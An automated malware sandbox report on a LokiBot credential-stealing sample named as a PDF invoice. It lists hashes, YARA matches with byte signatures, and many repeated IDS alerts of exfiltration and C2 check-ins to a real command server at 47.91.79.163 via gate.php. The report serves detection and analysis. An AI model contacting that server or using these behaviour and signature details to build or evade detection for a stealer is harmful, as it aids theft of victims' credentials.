Play interactive tour

Edit tour

Analysis Report PI_Nov9071011998_ENTRUSTpdf.exe

Overview

General Information

Sample Name:	PI_Nov9071011998_ENTRUSTpdf.exe
Analysis ID:	326333
MD5:	2349d50a67c2ef85661ef2be6def2cc3
SHA1:	b0cfbb76140f37e483fa2ece9c790512e48f29d4
SHA256:	9e196418dece3402ea9627106e6e246d5186392f25f8ada694598168481fb0bf
Tags:	exeLoki
Most interesting Screenshot:

Detection

Lokibot

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Yara detected AntiVM_3

Yara detected Lokibot

.NET source code contains potential unpacker

Found C&C like URL pattern

Machine Learning detection for sample

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file access)

Tries to steal Mail credentials (via file registry)

Yara detected aPLib compressed binary

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Startup

System is w10x64

PI_Nov9071011998_ENTRUSTpdf.exe (PID: 3476 cmdline: 'C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe' MD5: 2349D50A67C2EF85661EF2BE6DEF2CC3)

PI_Nov9071011998_ENTRUSTpdf.exe (PID: 5572 cmdline: {path} MD5: 2349D50A67C2EF85661EF2BE6DEF2CC3)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
00000001.00000002.499756661.0000000000400000.00000040.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.499756661.0000000000400000.00000040.00000001.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
00000001.00000002.499756661.0000000000400000.00000040.00000001.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
00000001.00000002.499756661.0000000000400000.00000040.00000001.sdmp	Loki_1	Loki Payload	kevoreilly	0x151b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x153fc:$a2: last_compatible_version
00000001.00000002.499756661.0000000000400000.00000040.00000001.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13bff:$des3: 68 03 66 00 00 0x187f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x188bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
00000000.00000002.236197890.0000000004079000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.236197890.0000000004079000.00000004.00000001.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
00000000.00000002.236197890.0000000004079000.00000004.00000001.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
00000000.00000002.236197890.0000000004079000.00000004.00000001.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x14c057:$des3: 68 03 66 00 00 0x150448:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x150514:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
00000000.00000002.235870525.0000000003224000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.235870525.0000000003224000.00000004.00000001.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
00000000.00000002.235870525.0000000003224000.00000004.00000001.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
00000000.00000002.235870525.0000000003224000.00000004.00000001.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x4799b:$des3: 68 03 66 00 00 0x4bd98:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x4be64:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
00000000.00000002.235301021.0000000002F31000.00000004.00000001.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: PI_Nov9071011998_ENTRUSTpdf.exe PID: 3476	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: PI_Nov9071011998_ENTRUSTpdf.exe PID: 3476	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
Process Memory Space: PI_Nov9071011998_ENTRUSTpdf.exe PID: 3476	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
Process Memory Space: PI_Nov9071011998_ENTRUSTpdf.exe PID: 5572	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: PI_Nov9071011998_ENTRUSTpdf.exe PID: 5572	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
Process Memory Space: PI_Nov9071011998_ENTRUSTpdf.exe PID: 5572	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
Click to see the 15 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
1.2.PI_Nov9071011998_ENTRUSTpdf.exe.400000.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.2.PI_Nov9071011998_ENTRUSTpdf.exe.400000.0.raw.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
1.2.PI_Nov9071011998_ENTRUSTpdf.exe.400000.0.raw.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
1.2.PI_Nov9071011998_ENTRUSTpdf.exe.400000.0.raw.unpack	Loki_1	Loki Payload	kevoreilly	0x151b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x153fc:$a2: last_compatible_version
1.2.PI_Nov9071011998_ENTRUSTpdf.exe.400000.0.raw.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13bff:$des3: 68 03 66 00 00 0x187f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x188bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
1.2.PI_Nov9071011998_ENTRUSTpdf.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.2.PI_Nov9071011998_ENTRUSTpdf.exe.400000.0.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
1.2.PI_Nov9071011998_ENTRUSTpdf.exe.400000.0.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
1.2.PI_Nov9071011998_ENTRUSTpdf.exe.400000.0.unpack	Loki_1	Loki Payload	kevoreilly	0x13db4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x13ffc:$a2: last_compatible_version
1.2.PI_Nov9071011998_ENTRUSTpdf.exe.400000.0.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x12fff:$des3: 68 03 66 00 00 0x173f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x174bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
Click to see the 5 entries

Sigma Overview

No Sigma rule has matched

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Multi AV Scanner detection for submitted file

Show sources

Source: PI_Nov9071011998_ENTRUSTpdf.exe

Virustotal: Detection: 20%

Perma Link

Machine Learning detection for sample

Show sources

Source: PI_Nov9071011998_ENTRUSTpdf.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Code function: 1_2_00403D74 FindFirstFileW,FindNextFileW,FindFirstFileW,FindNextFileW,

1_2_00403D74

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2024312 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1 192.168.2.3:49709 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49709 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49709 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024317 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2 192.168.2.3:49709 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49709 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024312 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1 192.168.2.3:49710 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49710 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49710 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024317 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2 192.168.2.3:49710 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49710 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49711 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49711 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49711 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49711 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49711 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49711
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49712 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49712 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49712 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49712 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49712 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49712
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49713 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49713 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49713 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49713 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49713 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49713
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49714 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49714 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49714 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49714 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49714 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49714
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49715 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49715 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49715 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49715 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49715 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49715
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49716 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49716 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49716 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49716 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49716 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49716
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49717 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49717 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49717 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49717 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49717 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49717
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49718 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49718 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49718 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49718 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49718 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49718
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49719 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49719 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49719 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49719 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49719 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49719
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49720 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49720 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49720 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49720 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49720 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49720
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49721 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49721 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49721 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49721 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49721 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49721
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49722 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49722 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49722 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49722 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49722 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49722
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49723 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49723 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49723 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49723 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49723 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49723
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49724 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49724 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49724 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49724 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49724 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49724
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49725 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49725 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49725 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49725 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49725 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49725
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49726 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49726 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49726 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49726 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49726 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49726
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49727 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49727 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49727 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49727 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49727 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49727
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49728 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49728 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49728 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49728 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49728 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49728
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49729 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49729 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49729 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49729 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49729 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49729
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49730 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49730 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49730 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49730 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49730 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49730
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49731 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49731 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49731 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49731 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49731 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49731
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49734 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49734 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49734 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49734 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49734 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49734
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49735 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49735 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49735 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49735 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49735 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49735
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49736 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49736 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49736 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49736 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49736 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49736
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49739 -> 47.91.79.163:80
